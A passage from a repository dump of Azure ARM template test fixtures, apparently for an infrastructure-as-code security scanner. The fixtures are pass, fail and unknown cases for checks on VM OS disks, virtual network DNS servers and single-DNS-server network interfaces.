    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"singlePlacementGroup\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"scaleInPolicy\": {\n            \"type\": \"object\"\n        },\n        \"overprovision\": {\n            \"type\": \"bool\"\n        },\n        \"upgradePolicy\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"pass\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"singlePlacementGroup\": \"[parameters('singlePlacementGroup')]\",\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"canonical\",\n                            \"offer\": \"0001-com-ubuntu-server-focal\",\n                            \"sku\": \"20_04-lts-gen2\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\",\n                                                    \"loadBalancerInboundNatPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerInboundNatPools]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.LinuxAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": true,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"linuxConfiguration\": {\n                            \"disablePasswordAuthentication\": true\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Uniform\",\n                \"scaleInPolicy\": \"[parameters('scaleInPolicy')]\",\n                \"overprovision\": \"[parameters('overprovision')]\",\n                \"upgradePolicy\": {\n                    \"mode\": \"[parameters('upgradePolicy')]\"\n                },\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMStorageOsDisk/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2021-07-01\",\n      \"name\": \"fail-linux\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"Standard_DS1_v2\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"16.04-LTS\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"myosdisk3\",\n            \"caching\": \"ReadWrite\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            },\n            \"vhd\": {\n              \"uri\": \"someURI\"\n            }\n          }\n        },\n        \"osProfile\": {\n          \"computerName\": \"hostname\",\n          \"adminUsername\": \"testadmin\",\n          \"adminPassword\": \"1111\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', 'main')]\"\n            }\n          ]\n        }\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ],\n  \"parameters\": {\n    \"prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"myprefix\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMStorageOsDisk/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2021-07-01\",\n      \"name\": \"fail-windows\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"Standard_DS1_v2\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2019-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"dataDisks\": [\n            {\n              \"name\": \"mydatadisk1\",\n              \"caching\": \"ReadWrite\",\n              \"createOption\": \"Empty\",\n              \"managedDisk\": {\n                \"storageAccountType\": \"Standard_LRS\"\n              },\n              \"vhd\": {\n                \"uri\": \"someURI\"\n              }\n            }\n          ]\n        },\n        \"osProfile\": {\n          \"computerName\": \"hostname\",\n          \"adminUsername\": \"testadmin\",\n          \"adminPassword\": \"1111\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', 'main')]\"\n            }\n          ]\n        }\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ],\n  \"parameters\": {\n    \"prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"myprefix\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMStorageOsDisk/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2021-07-01\",\n      \"name\": \"pass-linux\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"Standard_DS1_v2\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"16.04-LTS\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"myosdisk1\",\n            \"caching\": \"ReadWrite\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          }\n        },\n        \"osProfile\": {\n          \"computerName\": \"hostname\",\n          \"adminUsername\": \"testadmin\",\n          \"adminPassword\": \"1111\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', 'main')]\"\n            }\n          ]\n        }\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ],\n  \"parameters\": {\n    \"prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"myprefix\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMStorageOsDisk/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2021-07-01\",\n      \"name\": \"pass-windows\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"Standard_DS1_v2\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2019-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"myosdisk2\",\n            \"caching\": \"ReadWrite\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          }\n        },\n        \"osProfile\": {\n          \"computerName\": \"hostname\",\n          \"adminUsername\": \"testadmin\",\n          \"adminPassword\": \"1111\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', 'main')]\"\n            }\n          ]\n        }\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ],\n  \"parameters\": {\n    \"prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"myprefix\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetLocalDNS/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The region to deploy the resources into\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The name of the Virtual Network\"\n      }\n    },\n    \"virtualNetworkAddressRange\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The address range of the virtual network in CIDR format\"\n      },\n      \"defaultValue\": \"10.0.0.0/16\"\n    },\n    \"virtualNetworkSubnetaddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The subnet definition for the virtual network\"\n      }\n    },\n    \"dnsAddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The DNS address(es) of the DNS Server(s) used by the virtual network\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"fail\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2018-02-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            \"8.8.8.8\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\"\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.2.0/24\"\n            }\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetLocalDNS/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The region to deploy the resources into\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The name of the Virtual Network\"\n      }\n    },\n    \"virtualNetworkAddressRange\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The address range of the virtual network in CIDR format\"\n      },\n      \"defaultValue\": \"10.0.0.0/16\"\n    },\n    \"virtualNetworkSubnetaddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The subnet definition for the virtual network\"\n      }\n    },\n    \"dnsAddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The DNS address(es) of the DNS Server(s) used by the virtual network\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"fail2\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2018-02-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            []\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\"\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.2.0/24\"\n            }\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetLocalDNS/fail3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The region to deploy the resources into\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The name of the Virtual Network\"\n      }\n    },\n    \"virtualNetworkAddressRange\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The address range of the virtual network in CIDR format\"\n      },\n      \"defaultValue\": \"10.0.0.0/16\"\n    },\n    \"virtualNetworkSubnetaddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The subnet definition for the virtual network\"\n      }\n    },\n    \"dnsAddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The DNS address(es) of the DNS Server(s) used by the virtual network\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"fail3\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2018-02-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": []\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            \"8.8.8.8\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\"\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.2.0/24\"\n            }\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetLocalDNS/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The region to deploy the resources into\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The name of the Virtual Network\"\n      }\n    },\n    \"virtualNetworkAddressRange\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The address range of the virtual network in CIDR format\"\n      },\n      \"defaultValue\": \"10.0.0.0/16\"\n    },\n    \"virtualNetworkSubnetaddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The subnet definition for the virtual network\"\n      }\n    },\n    \"dnsAddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The DNS address(es) of the DNS Server(s) used by the virtual network\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"pass\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2018-02-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            \"10.0.0.4\",\n            \"10.0.0.5\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\"\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.2.0/24\"\n            }\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetLocalDNS/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The region to deploy the resources into\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The name of the Virtual Network\"\n      }\n    },\n    \"virtualNetworkAddressRange\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The address range of the virtual network in CIDR format\"\n      },\n      \"defaultValue\": \"10.0.0.0/16\"\n    },\n    \"virtualNetworkSubnetaddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The subnet definition for the virtual network\"\n      }\n    },\n    \"dnsAddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The DNS address(es) of the DNS Server(s) used by the virtual network\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"pass2\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2018-02-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\"\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.2.0/24\"\n            }\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetLocalDNS/unknown.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The region to deploy the resources into\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The name of the Virtual Network\"\n      }\n    },\n    \"virtualNetworkAddressRange\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The address range of the virtual network in CIDR format\"\n      },\n      \"defaultValue\": \"10.0.0.0/16\"\n    },\n    \"virtualNetworkSubnetaddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The subnet definition for the virtual network\"\n      }\n    },\n    \"dnsAddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The DNS address(es) of the DNS Server(s) used by the virtual network\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"unknown\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2018-02-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"v\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            \"10.0.0.4\",\n            \"10.0.0.5\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\"\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.2.0/24\"\n            }\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetLocalDNS/unknown2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The region to deploy the resources into\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The name of the Virtual Network\"\n      }\n    },\n    \"virtualNetworkAddressRange\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"Description\": \"The address range of the virtual network in CIDR format\"\n      },\n      \"defaultValue\": \"10.0.0.0/16\"\n    },\n    \"virtualNetworkSubnetaddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The subnet definition for the virtual network\"\n      }\n    },\n    \"dnsAddress\": {\n      \"type\": \"array\",\n      \"metadata\": {\n        \"Description\": \"The DNS address(es) of the DNS Server(s) used by the virtual network\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"unknown2\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2018-02-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            \"var.unknown\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\"\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.2.0/24\"\n            }\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetSingleDNSServer/fail.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"osDiskType\": {\n      \"type\": \"string\"\n    },\n    \"addressPrefixes\": {\n      \"type\": \"array\"\n    },\n    \"subnets\": {\n      \"type\": \"array\"\n    },\n    \"virtualNetworkId\": {\n      \"type\": \"string\"\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\"\n    },\n    \"networkSecurityGroups\": {\n      \"type\": \"array\"\n    },\n    \"networkInterfaceConfigurations\": {\n      \"type\": \"array\"\n    },\n    \"vmName\": {\n      \"type\": \"string\"\n    },\n    \"virtualMachineScaleSetName\": {\n      \"type\": \"string\"\n    },\n    \"instanceCount\": {\n      \"type\": \"string\"\n    },\n    \"instanceSize\": {\n      \"type\": \"string\"\n    },\n    \"adminUsername\": {\n      \"type\": \"string\"\n    },\n    \"securityType\": {\n      \"type\": \"string\"\n    },\n    \"secureBoot\": {\n      \"type\": \"bool\"\n    },\n    \"vTPM\": {\n      \"type\": \"bool\"\n    },\n    \"platformFaultDomainCount\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"storageApiVersion\": \"2021-01-01\",\n    \"networkApiVersion\": \"2020-11-01\",\n    \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n    \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"fail\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2022-11-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\"\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": [\n            \"10.0.0.4\"\n          ]\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetSingleDNSServer/fail2.json",
